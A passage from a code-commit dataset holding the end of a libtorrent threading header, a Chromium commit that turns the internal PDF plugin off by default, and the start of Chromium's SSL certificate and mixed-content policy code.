event;\n\n\tTORRENT_EXPORT void sleep(int milliseconds);\n\n\tstruct TORRENT_EXPORT condition\n\t{\n\t\tcondition();\n\t\t~condition();\n\t\tvoid wait(mutex::scoped_lock& l);\n\t\tvoid signal_all(mutex::scoped_lock& l);\n\tprivate:\n#ifdef BOOST_HAS_PTHREADS\n\t\tpthread_cond_t m_cond;\n#elif defined TORRENT_WINDOWS || defined TORRENT_CYGWIN\n\t\tHANDLE m_sem;\n\t\tmutex m_mutex;\n\t\tint m_num_waiters;\n#else\n#error not implemented\n#endif\n\t};\n\n\t\/\/ #error these semaphores needs to release all threads that are waiting for the semaphore when signalled\n#if TORRENT_USE_POSIX_SEMAPHORE\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { sem_init(&m_sem, 0, 0); }\n\t\t~semaphore() { sem_destroy(&m_sem); }\n\t\tvoid signal() { sem_post(&m_sem); }\n\t\tvoid signal_all()\n\t\t{\n\t\t\tint waiters = 0;\n\t\t\tdo\n\t\t\t{\n\t\t\t\t\/\/ when anyone is waiting, waiters will be\n\t\t\t\t\/\/ 0 or negative. 0 means one might be waiting\n\t\t\t\t\/\/ -1 means 2 are waiting. Keep posting as long\n\t\t\t\t\/\/ we see negative values or 0\n\t\t\t\tsem_getvalue(&m_sem, &waiters);\n\t\t\t\tsem_post(&m_sem);\n\t\t\t} while (waiters < 0);\n\t\t}\n\t\tvoid wait() { sem_wait(&m_sem); }\n\t\tvoid timed_wait(int ms)\n\t\t{\n\t\t\ttimespec sp = { ms \/ 1000, (ms % 1000) * 1000000 };\n\t\t\tsem_timedwait(&m_sem, &sp);\n\t\t}\n\t\tsem_t m_sem;\n\t};\n#elif TORRENT_USE_MACH_SEMAPHORE\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { semaphore_create(current_task(), &m_sem, SYNC_POLICY_FIFO, 0); }\n\t\t~semaphore() { semaphore_destroy(current_task(), m_sem); }\n\t\tvoid signal() { semaphore_signal(m_sem); }\n\t\tvoid signal_all() { semaphore_signal_all(m_sem); }\n\t\tvoid wait() { semaphore_wait(m_sem); }\n\t\tvoid timed_wait(int ms)\n\t\t{\n\t\t\tmach_timespec_t sp = { ms \/ 1000, (ms % 1000) * 100000};\n\t\t\tsemaphore_timedwait(m_sem, sp);\n\t\t}\n\t\tsemaphore_t m_sem;\n\t};\n#elif defined TORRENT_WINDOWS\n\tstruct TORRENT_EXPORT semaphore\n\t{\n\t\tsemaphore() { m_sem = CreateSemaphore(0, 0, 100, 0); }\n\t\t~semaphore() { CloseHandle(m_sem); }\n\t\tvoid signal() { ReleaseSemaphore(m_sem, 1, 0); }\n\t\tvoid signal_all()\n\t\t{\n\t\t\tLONG prev = 0;\n\t\t\tdo { ReleaseSemaphore(m_sem, 1, &prev); } while (prev > 1);\n\t\t}\n\t\tvoid wait() { WaitForSingleObject(m_sem, INFINITE); }\n\t\tvoid timed_wait(int ms) { WaitForSingleObject(m_sem, ms); }\n\t\tHANDLE m_sem;\n\t};\n#endif\n}\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/plugin_updater.h\"\n\n#include <string>\n#include <vector>\n\n#include \"base\/path_service.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"base\/values.h\"\n#include \"chrome\/browser\/pref_service.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/plugin_group.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"webkit\/glue\/plugins\/plugin_list.h\"\n#include \"webkit\/glue\/plugins\/webplugininfo.h\"\n\nnamespace plugin_updater {\n\n\/\/ Convert to a List of Groups\nstatic void GetPluginGroups(\n std::vector<linked_ptr<PluginGroup> >* plugin_groups) {\n \/\/ Read all plugins and convert them to plugin groups\n std::vector<WebPluginInfo> web_plugins;\n NPAPI::PluginList::Singleton()->GetPlugins(false, &web_plugins);\n\n \/\/ We first search for an existing group that matches our name,\n \/\/ and only create a new group if we can't find any.\n for (size_t i = 0; i < web_plugins.size(); ++i) {\n const WebPluginInfo& web_plugin = web_plugins[i];\n PluginGroup* group = PluginGroup::FindGroupMatchingPlugin(\n *plugin_groups, web_plugin);\n if (!group) {\n group = PluginGroup::FindHardcodedPluginGroup(web_plugin);\n plugin_groups->push_back(linked_ptr<PluginGroup>(group));\n }\n group->AddPlugin(web_plugin, i);\n }\n}\n\nstatic DictionaryValue* CreatePluginFileSummary(\n const WebPluginInfo& plugin) {\n DictionaryValue* data = new DictionaryValue();\n data->SetString(L\"path\", plugin.path.value());\n data->SetStringFromUTF16(L\"name\", plugin.name);\n data->SetStringFromUTF16(L\"version\", plugin.version);\n data->SetBoolean(L\"enabled\", plugin.enabled);\n return data;\n}\n\nListValue* GetPluginGroupsData() {\n std::vector<linked_ptr<PluginGroup> > plugin_groups;\n GetPluginGroups(&plugin_groups);\n\n \/\/ Construct DictionaryValues to return to the UI\n ListValue* plugin_groups_data = new ListValue();\n for (std::vector<linked_ptr<PluginGroup> >::iterator it =\n plugin_groups.begin();\n it != plugin_groups.end();\n ++it) {\n plugin_groups_data->Append((*it)->GetDataForUI());\n }\n return plugin_groups_data;\n}\n\nvoid EnablePluginGroup(bool enable, const string16& group_name) {\n std::vector<linked_ptr<PluginGroup> > plugin_groups;\n GetPluginGroups(&plugin_groups);\n\n for (std::vector<linked_ptr<PluginGroup> >::iterator it =\n plugin_groups.begin();\n it != plugin_groups.end();\n ++it) {\n if ((*it)->GetGroupName() == group_name) {\n (*it)->Enable(enable);\n }\n }\n}\n\nvoid EnablePluginFile(bool enable, const FilePath::StringType& path) {\n FilePath file_path(path);\n if (enable && !PluginGroup::IsPluginPathDisabledByPolicy(file_path))\n NPAPI::PluginList::Singleton()->EnablePlugin(file_path);\n else\n NPAPI::PluginList::Singleton()->DisablePlugin(file_path);\n}\n\nstatic bool enable_internal_pdf_ = true;\n\nvoid DisablePluginGroupsFromPrefs(Profile* profile) {\n bool update_internal_dir = false;\n FilePath last_internal_dir =\n profile->GetPrefs()->GetFilePath(prefs::kPluginsLastInternalDirectory);\n FilePath cur_internal_dir;\n if (PathService::Get(chrome::DIR_INTERNAL_PLUGINS, &cur_internal_dir) &&\n cur_internal_dir != last_internal_dir) {\n update_internal_dir = true;\n profile->GetPrefs()->SetFilePath(\n prefs::kPluginsLastInternalDirectory, cur_internal_dir);\n }\n\n bool found_internal_pdf = false;\n bool force_enable_internal_pdf = false;\n FilePath pdf_path;\n PathService::Get(chrome::FILE_PDF_PLUGIN, &pdf_path);\n FilePath::StringType pdf_path_str = pdf_path.value();\n if (enable_internal_pdf_ &&\n !profile->GetPrefs()->GetBoolean(prefs::kPluginsEnabledInternalPDF)) {\n \/\/ We switched to the internal pdf plugin being on by default, and so we\n \/\/ need to force it to be enabled. We only want to do it this once though,\n \/\/ i.e. we don't want to enable it again if the user disables it afterwards.\n profile->GetPrefs()->SetBoolean(prefs::kPluginsEnabledInternalPDF, true);\n force_enable_internal_pdf = true;\n }\n\n if (ListValue* saved_plugins_list =\n profile->GetPrefs()->GetMutableList(prefs::kPluginsPluginsList)) {\n for (ListValue::const_iterator it = saved_plugins_list->begin();\n it != saved_plugins_list->end();\n ++it) {\n if (!(*it)->IsType(Value::TYPE_DICTIONARY)) {\n LOG(WARNING) << \"Invalid entry in \" << prefs::kPluginsPluginsList;\n continue; \/\/ Oops, don't know what to do with this item.\n }\n\n DictionaryValue* plugin = static_cast<DictionaryValue*>(*it);\n string16 group_name;\n bool enabled = true;\n plugin->GetBoolean(L\"enabled\", &enabled);\n\n FilePath::StringType path;\n \/\/ The plugin list constains all the plugin files in addition to the\n \/\/ plugin groups.\n if (plugin->GetString(L\"path\", &path)) {\n \/\/ Files have a path attribute, groups don't.\n FilePath plugin_path(path);\n if (update_internal_dir &&\n FilePath::CompareIgnoreCase(plugin_path.DirName().value(),\n last_internal_dir.value()) == 0) {\n \/\/ If the internal plugin directory has changed and if the plugin\n \/\/ looks internal, update its path in the prefs.\n plugin_path = cur_internal_dir.Append(plugin_path.BaseName());\n path = plugin_path.value();\n plugin->SetString(L\"path\", path);\n }\n\n if (FilePath::CompareIgnoreCase(path, pdf_path_str) == 0) {\n found_internal_pdf = true;\n if (!enabled && force_enable_internal_pdf) {\n enabled = true;\n plugin->SetBoolean(L\"enabled\", true);\n }\n }\n if (!enabled)\n NPAPI::PluginList::Singleton()->DisablePlugin(plugin_path);\n } else if (!enabled && plugin->GetStringAsUTF16(L\"name\", &group_name)) {\n \/\/ Otherwise this is a list of groups.\n EnablePluginGroup(false, group_name);\n }\n }\n }\n\n \/\/ Build the set of policy-disabled plugins once and cache it.\n \/\/ Don't do this in the constructor, there's no profile available there.\n std::set<string16> policy_disabled_plugins;\n const ListValue* plugin_blacklist =\n profile->GetPrefs()->GetList(prefs::kPluginsPluginsBlacklist);\n if (plugin_blacklist) {\n ListValue::const_iterator end(plugin_blacklist->end());\n for (ListValue::const_iterator current(plugin_blacklist->begin());\n current != end; ++current) {\n string16 plugin_name;\n if ((*current)->GetAsUTF16(&plugin_name)) {\n policy_disabled_plugins.insert(plugin_name);\n }\n }\n }\n PluginGroup::SetPolicyDisabledPluginSet(policy_disabled_plugins);\n\n \/\/ Disable all of the plugins and plugin groups that are disabled by policy.\n std::vector<WebPluginInfo> plugins;\n NPAPI::PluginList::Singleton()->GetPlugins(false, &plugins);\n for (std::vector<WebPluginInfo>::const_iterator it = plugins.begin();\n it != plugins.end();\n ++it) {\n if (PluginGroup::IsPluginNameDisabledByPolicy(it->name))\n NPAPI::PluginList::Singleton()->DisablePlugin(it->path);\n }\n\n std::vector<linked_ptr<PluginGroup> > plugin_groups;\n GetPluginGroups(&plugin_groups);\n std::vector<linked_ptr<PluginGroup> >::const_iterator it;\n for (it = plugin_groups.begin(); it != plugin_groups.end(); ++it) {\n string16 current_group_name = (*it)->GetGroupName();\n if (PluginGroup::IsPluginNameDisabledByPolicy(current_group_name))\n EnablePluginGroup(false, current_group_name);\n }\n\n if (!enable_internal_pdf_ && !found_internal_pdf) {\n \/\/ The internal PDF plugin is disabled by default, and the user hasn't\n \/\/ overridden the default.\n NPAPI::PluginList::Singleton()->DisablePlugin(pdf_path);\n }\n}\n\nvoid UpdatePreferences(Profile* profile) {\n ListValue* plugins_list = profile->GetPrefs()->GetMutableList(\n prefs::kPluginsPluginsList);\n plugins_list->Clear();\n\n FilePath internal_dir;\n if (PathService::Get(chrome::DIR_INTERNAL_PLUGINS, &internal_dir))\n profile->GetPrefs()->SetFilePath(prefs::kPluginsLastInternalDirectory,\n internal_dir);\n\n \/\/ Add the plugin files.\n std::vector<WebPluginInfo> plugins;\n NPAPI::PluginList::Singleton()->GetPlugins(false, &plugins);\n for (std::vector<WebPluginInfo>::const_iterator it = plugins.begin();\n it != plugins.end();\n ++it) {\n plugins_list->Append(CreatePluginFileSummary(*it));\n }\n\n \/\/ Add the groups as well.\n std::vector<linked_ptr<PluginGroup> > plugin_groups;\n GetPluginGroups(&plugin_groups);\n for (std::vector<linked_ptr<PluginGroup> >::iterator it =\n plugin_groups.begin();\n it != plugin_groups.end();\n ++it) {\n \/\/ Don't save preferences for vulnerable pugins.\n if (!(*it)->IsVulnerable()) {\n plugins_list->Append((*it)->GetSummary());\n }\n }\n}\n\n} \/\/ namespace plugin_updater\n<commit_msg>Disabled internal PDF by default. BUG=None TEST=Verify that the internal PDF plugin is disabled by default.s<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/plugin_updater.h\"\n\n#include <string>\n#include <vector>\n\n#include \"base\/path_service.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"base\/values.h\"\n#include \"chrome\/browser\/pref_service.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/plugin_group.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"webkit\/glue\/plugins\/plugin_list.h\"\n#include \"webkit\/glue\/plugins\/webplugininfo.h\"\n\nnamespace plugin_updater {\n\n\/\/ Convert to a List of Groups\nstatic void GetPluginGroups(\n std::vector<linked_ptr<PluginGroup> >* plugin_groups) {\n \/\/ Read all plugins and convert them to plugin groups\n std::vector<WebPluginInfo> web_plugins;\n NPAPI::PluginList::Singleton()->GetPlugins(false, &web_plugins);\n\n \/\/ We first search for an existing group that matches our name,\n \/\/ and only create a new group if we can't find any.\n for (size_t i = 0; i < web_plugins.size(); ++i) {\n const WebPluginInfo& web_plugin = web_plugins[i];\n PluginGroup* group = PluginGroup::FindGroupMatchingPlugin(\n *plugin_groups, web_plugin);\n if (!group) {\n group = PluginGroup::FindHardcodedPluginGroup(web_plugin);\n plugin_groups->push_back(linked_ptr<PluginGroup>(group));\n }\n group->AddPlugin(web_plugin, i);\n }\n}\n\nstatic DictionaryValue* CreatePluginFileSummary(\n const WebPluginInfo& plugin) {\n DictionaryValue* data = new DictionaryValue();\n data->SetString(L\"path\", plugin.path.value());\n data->SetStringFromUTF16(L\"name\", plugin.name);\n data->SetStringFromUTF16(L\"version\", plugin.version);\n data->SetBoolean(L\"enabled\", plugin.enabled);\n return data;\n}\n\nListValue* GetPluginGroupsData() {\n std::vector<linked_ptr<PluginGroup> > plugin_groups;\n GetPluginGroups(&plugin_groups);\n\n \/\/ Construct DictionaryValues to return to the UI\n ListValue* plugin_groups_data = new ListValue();\n for (std::vector<linked_ptr<PluginGroup> >::iterator it =\n plugin_groups.begin();\n it != plugin_groups.end();\n ++it) {\n plugin_groups_data->Append((*it)->GetDataForUI());\n }\n return plugin_groups_data;\n}\n\nvoid EnablePluginGroup(bool enable, const string16& group_name) {\n std::vector<linked_ptr<PluginGroup> > plugin_groups;\n GetPluginGroups(&plugin_groups);\n\n for (std::vector<linked_ptr<PluginGroup> >::iterator it =\n plugin_groups.begin();\n it != plugin_groups.end();\n ++it) {\n if ((*it)->GetGroupName() == group_name) {\n (*it)->Enable(enable);\n }\n }\n}\n\nvoid EnablePluginFile(bool enable, const FilePath::StringType& path) {\n FilePath file_path(path);\n if (enable && !PluginGroup::IsPluginPathDisabledByPolicy(file_path))\n NPAPI::PluginList::Singleton()->EnablePlugin(file_path);\n else\n NPAPI::PluginList::Singleton()->DisablePlugin(file_path);\n}\n\nstatic bool enable_internal_pdf_ = false;\n\nvoid DisablePluginGroupsFromPrefs(Profile* profile) {\n bool update_internal_dir = false;\n FilePath last_internal_dir =\n profile->GetPrefs()->GetFilePath(prefs::kPluginsLastInternalDirectory);\n FilePath cur_internal_dir;\n if (PathService::Get(chrome::DIR_INTERNAL_PLUGINS, &cur_internal_dir) &&\n cur_internal_dir != last_internal_dir) {\n update_internal_dir = true;\n profile->GetPrefs()->SetFilePath(\n prefs::kPluginsLastInternalDirectory, cur_internal_dir);\n }\n\n bool found_internal_pdf = false;\n bool force_enable_internal_pdf = false;\n FilePath pdf_path;\n PathService::Get(chrome::FILE_PDF_PLUGIN, &pdf_path);\n FilePath::StringType pdf_path_str = pdf_path.value();\n if (enable_internal_pdf_ &&\n !profile->GetPrefs()->GetBoolean(prefs::kPluginsEnabledInternalPDF)) {\n \/\/ We switched to the internal pdf plugin being on by default, and so we\n \/\/ need to force it to be enabled. We only want to do it this once though,\n \/\/ i.e. we don't want to enable it again if the user disables it afterwards.\n profile->GetPrefs()->SetBoolean(prefs::kPluginsEnabledInternalPDF, true);\n force_enable_internal_pdf = true;\n }\n\n if (ListValue* saved_plugins_list =\n profile->GetPrefs()->GetMutableList(prefs::kPluginsPluginsList)) {\n for (ListValue::const_iterator it = saved_plugins_list->begin();\n it != saved_plugins_list->end();\n ++it) {\n if (!(*it)->IsType(Value::TYPE_DICTIONARY)) {\n LOG(WARNING) << \"Invalid entry in \" << prefs::kPluginsPluginsList;\n continue; \/\/ Oops, don't know what to do with this item.\n }\n\n DictionaryValue* plugin = static_cast<DictionaryValue*>(*it);\n string16 group_name;\n bool enabled = true;\n plugin->GetBoolean(L\"enabled\", &enabled);\n\n FilePath::StringType path;\n \/\/ The plugin list constains all the plugin files in addition to the\n \/\/ plugin groups.\n if (plugin->GetString(L\"path\", &path)) {\n \/\/ Files have a path attribute, groups don't.\n FilePath plugin_path(path);\n if (update_internal_dir &&\n FilePath::CompareIgnoreCase(plugin_path.DirName().value(),\n last_internal_dir.value()) == 0) {\n \/\/ If the internal plugin directory has changed and if the plugin\n \/\/ looks internal, update its path in the prefs.\n plugin_path = cur_internal_dir.Append(plugin_path.BaseName());\n path = plugin_path.value();\n plugin->SetString(L\"path\", path);\n }\n\n if (FilePath::CompareIgnoreCase(path, pdf_path_str) == 0) {\n found_internal_pdf = true;\n if (!enabled && force_enable_internal_pdf) {\n enabled = true;\n plugin->SetBoolean(L\"enabled\", true);\n }\n }\n if (!enabled)\n NPAPI::PluginList::Singleton()->DisablePlugin(plugin_path);\n } else if (!enabled && plugin->GetStringAsUTF16(L\"name\", &group_name)) {\n \/\/ Otherwise this is a list of groups.\n EnablePluginGroup(false, group_name);\n }\n }\n }\n\n \/\/ Build the set of policy-disabled plugins once and cache it.\n \/\/ Don't do this in the constructor, there's no profile available there.\n std::set<string16> policy_disabled_plugins;\n const ListValue* plugin_blacklist =\n profile->GetPrefs()->GetList(prefs::kPluginsPluginsBlacklist);\n if (plugin_blacklist) {\n ListValue::const_iterator end(plugin_blacklist->end());\n for (ListValue::const_iterator current(plugin_blacklist->begin());\n current != end; ++current) {\n string16 plugin_name;\n if ((*current)->GetAsUTF16(&plugin_name)) {\n policy_disabled_plugins.insert(plugin_name);\n }\n }\n }\n PluginGroup::SetPolicyDisabledPluginSet(policy_disabled_plugins);\n\n \/\/ Disable all of the plugins and plugin groups that are disabled by policy.\n std::vector<WebPluginInfo> plugins;\n NPAPI::PluginList::Singleton()->GetPlugins(false, &plugins);\n for (std::vector<WebPluginInfo>::const_iterator it = plugins.begin();\n it != plugins.end();\n ++it) {\n if (PluginGroup::IsPluginNameDisabledByPolicy(it->name))\n NPAPI::PluginList::Singleton()->DisablePlugin(it->path);\n }\n\n std::vector<linked_ptr<PluginGroup> > plugin_groups;\n GetPluginGroups(&plugin_groups);\n std::vector<linked_ptr<PluginGroup> >::const_iterator it;\n for (it = plugin_groups.begin(); it != plugin_groups.end(); ++it) {\n string16 current_group_name = (*it)->GetGroupName();\n if (PluginGroup::IsPluginNameDisabledByPolicy(current_group_name))\n EnablePluginGroup(false, current_group_name);\n }\n\n if (!enable_internal_pdf_ && !found_internal_pdf) {\n \/\/ The internal PDF plugin is disabled by default, and the user hasn't\n \/\/ overridden the default.\n NPAPI::PluginList::Singleton()->DisablePlugin(pdf_path);\n }\n}\n\nvoid UpdatePreferences(Profile* profile) {\n ListValue* plugins_list = profile->GetPrefs()->GetMutableList(\n prefs::kPluginsPluginsList);\n plugins_list->Clear();\n\n FilePath internal_dir;\n if (PathService::Get(chrome::DIR_INTERNAL_PLUGINS, &internal_dir))\n profile->GetPrefs()->SetFilePath(prefs::kPluginsLastInternalDirectory,\n internal_dir);\n\n \/\/ Add the plugin files.\n std::vector<WebPluginInfo> plugins;\n NPAPI::PluginList::Singleton()->GetPlugins(false, &plugins);\n for (std::vector<WebPluginInfo>::const_iterator it = plugins.begin();\n it != plugins.end();\n ++it) {\n plugins_list->Append(CreatePluginFileSummary(*it));\n }\n\n \/\/ Add the groups as well.\n std::vector<linked_ptr<PluginGroup> > plugin_groups;\n GetPluginGroups(&plugin_groups);\n for (std::vector<linked_ptr<PluginGroup> >::iterator it =\n plugin_groups.begin();\n it != plugin_groups.end();\n ++it) {\n \/\/ Don't save preferences for vulnerable pugins.\n if (!(*it)->IsVulnerable()) {\n plugins_list->Append((*it)->GetSummary());\n }\n }\n}\n\n} \/\/ namespace plugin_updater\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ssl\/ssl_policy.h\"\n\n#include \"app\/l10n_util.h\"\n#include \"app\/resource_bundle.h\"\n#include \"base\/base_switches.h\"\n#include \"base\/command_line.h\"\n#include \"base\/singleton.h\"\n#include \"base\/string_piece.h\"\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/cert_store.h\"\n#include \"chrome\/browser\/renderer_host\/render_view_host.h\"\n#include \"chrome\/browser\/ssl\/ssl_cert_error_handler.h\"\n#include \"chrome\/browser\/ssl\/ssl_error_info.h\"\n#include \"chrome\/browser\/ssl\/ssl_mixed_content_handler.h\"\n#include \"chrome\/browser\/ssl\/ssl_request_info.h\"\n#include \"chrome\/browser\/tab_contents\/navigation_entry.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/common\/jstemplate_builder.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/common\/pref_service.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/time_format.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"grit\/browser_resources.h\"\n#include \"grit\/generated_resources.h\"\n#include \"net\/base\/cert_status_flags.h\"\n#include \"net\/base\/ssl_info.h\"\n#include \"webkit\/glue\/resource_type.h\"\n\nusing WebKit::WebConsoleMessage;\n\nclass SSLPolicy::ShowMixedContentTask : public Task {\n public:\n ShowMixedContentTask(SSLPolicy* policy, SSLMixedContentHandler* handler);\n virtual ~ShowMixedContentTask();\n\n virtual void Run();\n\n private:\n SSLPolicy* policy_;\n scoped_refptr<SSLMixedContentHandler> handler_;\n\n DISALLOW_COPY_AND_ASSIGN(ShowMixedContentTask);\n};\n\nSSLPolicy::ShowMixedContentTask::ShowMixedContentTask(SSLPolicy* policy,\n SSLMixedContentHandler* handler)\n : policy_(policy),\n handler_(handler) {\n}\n\nSSLPolicy::ShowMixedContentTask::~ShowMixedContentTask() {\n}\n\nvoid SSLPolicy::ShowMixedContentTask::Run() {\n policy_->AllowMixedContentForOrigin(handler_->frame_origin());\n policy_->AllowMixedContentForOrigin(handler_->main_frame_origin());\n policy_->backend()->Reload();\n}\n\nSSLPolicy::SSLPolicy(SSLPolicyBackend* backend)\n : backend_(backend) {\n DCHECK(backend_);\n}\n\nvoid SSLPolicy::OnCertError(SSLCertErrorHandler* handler) {\n \/\/ First we check if we know the policy for this error.\n net::X509Certificate::Policy::Judgment judgment =\n backend_->QueryPolicy(handler->ssl_info().cert,\n handler->request_url().host());\n\n if (judgment == net::X509Certificate::Policy::ALLOWED) {\n handler->ContinueRequest();\n return;\n }\n\n \/\/ The judgment is either DENIED or UNKNOWN.\n \/\/ For now we handle the DENIED as the UNKNOWN, which means a blocking\n \/\/ page is shown to the user every time he comes back to the page.\n\n switch(handler->cert_error()) {\n case net::ERR_CERT_COMMON_NAME_INVALID:\n case net::ERR_CERT_DATE_INVALID:\n case net::ERR_CERT_AUTHORITY_INVALID:\n OnOverridableCertError(handler);\n break;\n case net::ERR_CERT_NO_REVOCATION_MECHANISM:\n \/\/ Ignore this error.\n handler->ContinueRequest();\n break;\n case net::ERR_CERT_UNABLE_TO_CHECK_REVOCATION:\n \/\/ We ignore this error and display an infobar.\n handler->ContinueRequest();\n backend_->ShowMessage(l10n_util::GetString(\n IDS_CERT_ERROR_UNABLE_TO_CHECK_REVOCATION_INFO_BAR));\n break;\n case net::ERR_CERT_CONTAINS_ERRORS:\n case net::ERR_CERT_REVOKED:\n case net::ERR_CERT_INVALID:\n OnFatalCertError(handler);\n break;\n default:\n NOTREACHED();\n handler->CancelRequest();\n break;\n }\n}\n\nvoid SSLPolicy::OnMixedContent(SSLMixedContentHandler* handler) {\n \/\/ Get the user's mixed content preference.\n PrefService* prefs = handler->GetTabContents()->profile()->GetPrefs();\n FilterPolicy::Type filter_policy =\n FilterPolicy::FromInt(prefs->GetInteger(prefs::kMixedContentFiltering));\n\n \/\/ If the user has added an exception, doctor the |filter_policy|.\n std::string host = GURL(handler->main_frame_origin()).host();\n if (CommandLine::ForCurrentProcess()->HasSwitch(switches::kForceHTTPS) &&\n backend_->IsForceTLSEnabledForHost(host)) {\n \/\/ We're supposed to block all mixed content for this host.\n filter_policy = FilterPolicy::FILTER_ALL;\n } else if (backend_->DidAllowMixedContentForHost(host) ||\n backend_->DidMarkHostAsBroken(host, handler->pid())) {\n \/\/ Let the mixed content through.\n filter_policy = FilterPolicy::DONT_FILTER;\n } else if (filter_policy != FilterPolicy::DONT_FILTER) {\n backend_->ShowMessageWithLink(\n l10n_util::GetString(IDS_SSL_INFO_BAR_FILTERED_CONTENT),\n l10n_util::GetString(IDS_SSL_INFO_BAR_SHOW_CONTENT),\n new ShowMixedContentTask(this, handler));\n }\n\n handler->StartRequest(filter_policy);\n AddMixedContentWarningToConsole(handler);\n}\n\nvoid SSLPolicy::OnRequestStarted(SSLRequestInfo* info) {\n if (net::IsCertStatusError(info->ssl_cert_status()))\n UpdateStateForUnsafeContent(info);\n\n if (IsMixedContent(info->url(),\n info->resource_type(),\n info->filter_policy(),\n info->frame_origin()))\n UpdateStateForMixedContent(info);\n}\n\nvoid SSLPolicy::UpdateEntry(NavigationEntry* entry) {\n DCHECK(entry);\n\n InitializeEntryIfNeeded(entry);\n\n if (!entry->url().SchemeIsSecure())\n return;\n\n \/\/ An HTTPS response may not have a certificate for some reason. When that\n \/\/ happens, use the unauthenticated (HTTP) rather than the authentication\n \/\/ broken security style so that we can detect this error condition.\n if (!entry->ssl().cert_id()) {\n entry->ssl().set_security_style(SECURITY_STYLE_UNAUTHENTICATED);\n return;\n }\n\n if (net::IsCertStatusError(entry->ssl().cert_status())) {\n entry->ssl().set_security_style(SECURITY_STYLE_AUTHENTICATION_BROKEN);\n return;\n }\n\n if (backend_->DidMarkHostAsBroken(entry->url().host(),\n entry->site_instance()->GetProcess()->pid()))\n entry->ssl().set_has_mixed_content();\n}\n\n\/\/ static\nbool SSLPolicy::IsMixedContent(const GURL& url,\n ResourceType::Type resource_type,\n FilterPolicy::Type filter_policy,\n const std::string& frame_origin) {\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ WARNING: This function is called from both the IO and UI threads. Do \/\/\n \/\/ not touch any non-thread-safe objects! You have been warned. \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/\/ We can't possibly have mixed content when loading the main frame.\n if (resource_type == ResourceType::MAIN_FRAME)\n return false;\n\n \/\/ If we've filtered the resource, then it's no longer dangerous.\n if (filter_policy != FilterPolicy::DONT_FILTER)\n return false;\n\n \/\/ If the frame doing the loading is already insecure, then we must have\n \/\/ already dealt with whatever mixed content might be going on.\n if (!GURL(frame_origin).SchemeIsSecure())\n return false;\n\n \/\/ We aren't worried about mixed content if we're loading an HTTPS URL.\n if (url.SchemeIsSecure())\n return false;\n\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SSLBlockingPage::Delegate methods\n\nSSLErrorInfo SSLPolicy::GetSSLErrorInfo(SSLCertErrorHandler* handler) {\n return SSLErrorInfo::CreateError(\n SSLErrorInfo::NetErrorToErrorType(handler->cert_error()),\n handler->ssl_info().cert, handler->request_url());\n}\n\nvoid SSLPolicy::OnDenyCertificate(SSLCertErrorHandler* handler) {\n \/\/ Default behavior for rejecting a certificate.\n \/\/\n \/\/ While DenyCertForHost() executes synchronously on this thread,\n \/\/ CancelRequest() gets posted to a different thread. Calling\n \/\/ DenyCertForHost() first ensures deterministic ordering.\n backend_->DenyCertForHost(handler->ssl_info().cert,\n handler->request_url().host());\n handler->CancelRequest();\n}\n\nvoid SSLPolicy::OnAllowCertificate(SSLCertErrorHandler* handler) {\n \/\/ Default behavior for accepting a certificate.\n \/\/ Note that we should not call SetMaxSecurityStyle here, because the active\n \/\/ NavigationEntry has just been deleted (in HideInterstitialPage) and the\n \/\/ new NavigationEntry will not be set until DidNavigate. This is ok,\n \/\/ because the new NavigationEntry will have its max security style set\n \/\/ within DidNavigate.\n \/\/\n \/\/ While AllowCertForHost() executes synchronously on this thread,\n \/\/ ContinueRequest() gets posted to a different thread. Calling\n \/\/ AllowCertForHost() first ensures deterministic ordering.\n backend_->AllowCertForHost(handler->ssl_info().cert,\n handler->request_url().host());\n handler->ContinueRequest();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Certificate Error Routines\n\nvoid 